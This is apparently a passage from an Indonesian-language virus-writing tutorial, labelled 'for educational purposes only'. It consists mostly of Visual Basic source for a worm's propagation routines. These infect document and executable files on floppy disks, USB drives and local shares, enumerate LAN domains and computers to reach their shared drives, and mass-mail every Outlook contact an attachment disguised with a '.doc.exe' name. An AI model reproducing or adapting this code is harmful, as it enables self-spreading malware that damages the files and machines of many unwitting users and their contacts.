Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan
suatu timer. Program ini bekerja
dengan senantiasa memantau terhadap keaktifkan jendela 3½
Floppy (A:) oleh pemakai.
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc,
Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu
timer. Program ini bekerja
dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash
disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C"
Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada
computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network",
shares) = True Then
For Each share In sharesPage 6

Hanya untuk tujuan pendidikan saja
6
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka
di LAN, dengan mengambil
semua Domain maupun Workgroup dan menyimpannya dalam suatu
stack.
Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) =
True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing
Domain maupun
Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As
Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network",
Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari
masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As
Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network",
Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull ThenPage 7

Hanya untuk tujuan pendidikan saja
7
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik
membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment
& ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = NothingPage 8

Hanya untuk tujuan pendidikan saja
8
End Sub

---------------------------------------------------------------------------
Pengen Coba Music Mail GRATIS? Aktifkan Music Mail anda di mail Telkom.net dan Plasa.com
dan kirim email dengan Music Mail ke seluruh rekan anda. Berlaku hingga 31 Agustus 2007.
---------------------------------------------------------------------------